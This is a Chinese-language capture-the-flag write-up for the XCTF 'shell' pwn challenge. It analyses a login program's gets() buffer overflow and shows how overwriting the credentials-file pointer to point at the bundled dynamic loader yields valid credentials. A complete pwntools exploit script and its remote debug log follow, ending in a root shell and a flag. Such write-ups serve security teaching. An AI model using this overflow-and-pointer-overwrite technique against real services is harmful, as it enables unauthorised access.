攻防世界-PWN-shell

20 篇文章 0 订阅

攻防世界-PWN-shell

检查保护机制

healer@healer-virtual-machine:~/Desktop/shell$ checksec shell
[*] '/home/healer/Desktop/shell/shell'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/shell$ readelf -h shell
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4007f0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          8808 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 26

漏洞分析

分析主函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  __int64 v4; // [rsp+0h] [rbp-F0h]
  __int64 v5; // [rsp+8h] [rbp-E8h]
  __int64 v6; // [rsp+10h] [rbp-E0h]
  __int64 v7; // [rsp+18h] [rbp-D8h]
  __int64 v8; // [rsp+30h] [rbp-C0h]
  const char *v9; // [rsp+38h] [rbp-B8h]
  const char *s2; // [rsp+40h] [rbp-B0h]
  size_t n; // [rsp+48h] [rbp-A8h]
  __ssize_t v12; // [rsp+50h] [rbp-A0h]
  char *lineptr; // [rsp+58h] [rbp-98h]
  FILE *stream; // [rsp+60h] [rbp-90h]
  char v15; // [rsp+6Fh] [rbp-81h]
  int v16; // [rsp+70h] [rbp-80h]
  int v17; // [rsp+74h] [rbp-7Ch]
  int v18; // [rsp+94h] [rbp-5Ch]
  int v19; // [rsp+B4h] [rbp-3Ch]
  char *filename; // [rsp+D8h] [rbp-18h]
  const char **v21; // [rsp+E0h] [rbp-10h]
  int v22; // [rsp+E8h] [rbp-8h]
  int v23; // [rsp+ECh] [rbp-4h]

  v23 = 0;
  v22 = argc;
  v21 = argv;
  filename = "creds.txt";
  v16 = 0;
  v15 = '$';
  setvbuf(_bss_start, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      printf("%c ", (unsigned int)v15, v4, v5, v6, v7);
      gets(&v19);         // 存在溢出漏洞
      if ( !strcmp((const char *)&v19, "login") )
        break;
      v8 = command_get(&v19, "login");
      if ( v8 )
      {
        if ( *(_DWORD *)(v8 + 16) != 1 || v16 == 1 )
          (*(void (__fastcall **)(int *))(v8 + 8))(&v19);    
          // 认证成功之后此处通过可运行的命令表,跳转执行对应的函数,调用对应的系统命令,v16为是否获得登陆后的权限,只有v16 == 1时,才是获得了权限
        else
          HIDWORD(v4) = puts("Permission denied");
      }
      else
      {
        LODWORD(v4) = puts("Command not found");
      }
    }
    printf("Username: ", "login");
    HIDWORD(v7) = gets(&v17);    // 存在溢出漏洞
    LODWORD(v7) = printf("Password: ");
    HIDWORD(v6) = gets(&v18);      // 存在溢出漏洞
    stream = fopen(filename, "r");
    for ( lineptr = 0LL; ; lineptr = 0LL )
    {
      n = 0LL;
      v12 = getline(&lineptr, &n, stream);
      if ( v12 < 0 )
      {
        free(lineptr);
        goto LABEL_12;
      }
      lineptr[v12 - 1] = 0;
      s2 = strtok(lineptr, ":");
      v9 = strtok(0LL, ":");
      if ( s2 )
      {
        if ( v9 && !strcmp((const char *)&v17, s2) && !strcmp((const char *)&v18, v9) )
          break;
      }
      free(lineptr);
    }
    v3 = puts("Authenticated!");
    v15 = '#';
    v16 = 1;
    LODWORD(v6) = v3;
LABEL_12:
    if ( v16 != 1 )
      HIDWORD(v5) = puts("Authentication failed!");
    LODWORD(v5) = fclose(stream);
  }
}

分析数据获得命令表

.data:00000000006014E0 public commands
.data:00000000006014E0 commands dq offset command              ; DATA XREF: help+8↑o
.data:00000000006014E0                                         ; command_get+8↑o
.data:00000000006014E0                                         ; "sh"
.data:00000000006014E8 dq offset sh
.data:00000000006014F0 dq 1
.data:00000000006014F8 dq offset aWhoami                       ; "whoami"
.data:0000000000601500 dq offset whoami
.data:0000000000601508 dq 0
.data:0000000000601510 dq offset aDate                         ; "date"
.data:0000000000601518 dq offset date
.data:0000000000601520 dq 0
.data:0000000000601528 dq offset aExit_0                       ; "exit"
.data:0000000000601530 dq offset exit_
.data:0000000000601538 dq 0
.data:0000000000601540 dq offset aLs                           ; "ls"
.data:0000000000601548 dq offset ls
.data:0000000000601550 dq 0
.data:0000000000601558 dq offset aHelp                         ; "help"
.data:0000000000601560 dq offset help
.data:0000000000601568 dq 0
.data:0000000000601570 dq offset aHlep                         ; "hlep"
.data:0000000000601578 dq offset help
.data:0000000000601580 dq 0
.data:0000000000601588 dq 0
.data:0000000000601590 dq 0
.data:0000000000601598 dq 0
.data:0000000000601598 _data ends

通过调试发现程序的功能类似下面的这个过程,远程服务器上存储着一个名为creds.txt的文件,文件中记录有用户名和密码,一行是一组用户名和密码,组织方式为healer:12345类似这种的用:将其分割,如果能够登录成功的话就可以通过执行sh命令获得由权限的shell,并通过cat flag命令获取到flag,所以现在问题集中在如何取得creds.txt文件中的正确的 用户名和密码

healer@healer-virtual-machine:~/Desktop/shell$ ./shell
$ login
Username: healer
Password: 12345
Authenticated!
# ls
creds.txt  flag  ld-linux-x86-64.so.2  shell
# cat flag
Command not found
# help
sh whoami date exit ls help hlep login
# whoami
healer
# date
Sun May 29 11:39:20 CST 2022
# hlep
sh whoami date exit ls help hlep login
# help
sh whoami date exit ls help hlep login
# sh
$ cat flag
flag{Congratulations!!!}

总结

主函数中的所有输入全部是使用gets()函数,明显存在缓冲区溢出漏洞,并且filename文件名指针在栈空间的位置是在输入密码的位置后面,这样的话就意味着可以覆盖文件名,打开任意文件,由于随题目的另一个文件ld-linux-x86-64.so.2是给出的,所以我们可以在此文件中找到类似用户名密码的结构,然后通过IDA静态分析,发现好几个符合特征的字符串,如下:

.rodata:000000000001C98A aCallingInitS   db 0Ah                  ; DATA XREF: sub_10070:loc_10152↑o
.rodata:000000000001C98A                 db 'calling init: %s',0Ah

故,用户名为:calling init,密码为 %s注意前面有个空格,

攻击脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']


io = remote("111.200.241.244",65199)  # 111.200.241.244:57735
# io = process("./shell")
elf = ELF("./shell")

# libc = ELF("./")
# context(arch = "i386", os = 'linux')


# gdb.attach(io,"b * 0x400c4e\nb * 0x400c7d")
ld_filename = 0x400200

def main(): 
    io.recvuntil("$ ")
    io.sendline("login")
    
    io.recvuntil("Username: ")
    io.sendline("healer")
    io.recvuntil("Password: ")
    payload = b"a"*0x44 + p64(ld_filename)
    io.sendline(payload)

    io.recvuntil("$ ")
    io.sendline("login")
    io.recvuntil("Username: ")
    io.sendline("calling init")
    io.recvuntil("Password: ")
    io.sendline(" %s")
    io.sendline("sh")
    io.sendline("cat flag")
    io.interactive()

if __name__ == '__main__':
    main()

远程攻击效果

healer@healer-virtual-machine:~/Desktop/shell$ python3 exp.py 
[+] Opening connection to 111.200.241.244 on port 65199: Done
[DEBUG] PLT 0x400700 free
[DEBUG] PLT 0x400710 puts
[DEBUG] PLT 0x400720 fclose
[DEBUG] PLT 0x400730 __stack_chk_fail
[DEBUG] PLT 0x400740 system
[DEBUG] PLT 0x400750 printf
[DEBUG] PLT 0x400760 __libc_start_main
[DEBUG] PLT 0x400770 strcmp
[DEBUG] PLT 0x400780 __gmon_start__
[DEBUG] PLT 0x400790 gets
[DEBUG] PLT 0x4007a0 setvbuf
[DEBUG] PLT 0x4007b0 fopen
[DEBUG] PLT 0x4007c0 strtok
[DEBUG] PLT 0x4007d0 getline
[DEBUG] PLT 0x4007e0 exit
[*] '/home/healer/Desktop/shell/shell'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Received 0x2 bytes:
    b'$ '
[DEBUG] Sent 0x6 bytes:
    b'login\n'
[DEBUG] Received 0xa bytes:
    b'Username: '
[DEBUG] Sent 0x7 bytes:
    b'healer\n'
[DEBUG] Received 0xa bytes:
    b'Password: '
[DEBUG] Sent 0x4d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  61 61 61 61  00 02 40 00  00 00 00 00  0a           │aaaa│··@·│····│·│
    0000004d
[DEBUG] Received 0x16 bytes:
    b'Authentication failed!'
[DEBUG] Received 0x3 bytes:
    b'\n'
    b'$ '
[DEBUG] Sent 0x6 bytes:
    b'login\n'
[DEBUG] Received 0xa bytes:
    b'Username: '
[DEBUG] Sent 0xd bytes:
    b'calling init\n'
[DEBUG] Received 0xa bytes:
    b'Password: '
[DEBUG] Sent 0x4 bytes:
    b' %s\n'
[DEBUG] Sent 0x3 bytes:
    b'sh\n'
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
    b'Authenticated!'
Authenticated![DEBUG] Received 0x3 bytes:
    b'\n'
    b'# '

# $ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x23 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'shell\n'
bin
dev
flag
lib
lib32
lib64
shell
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{e89e7e**********************9c9df7c66b72}\n'
cyberpeace{e89e7e**********************9c9df7c66b72}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值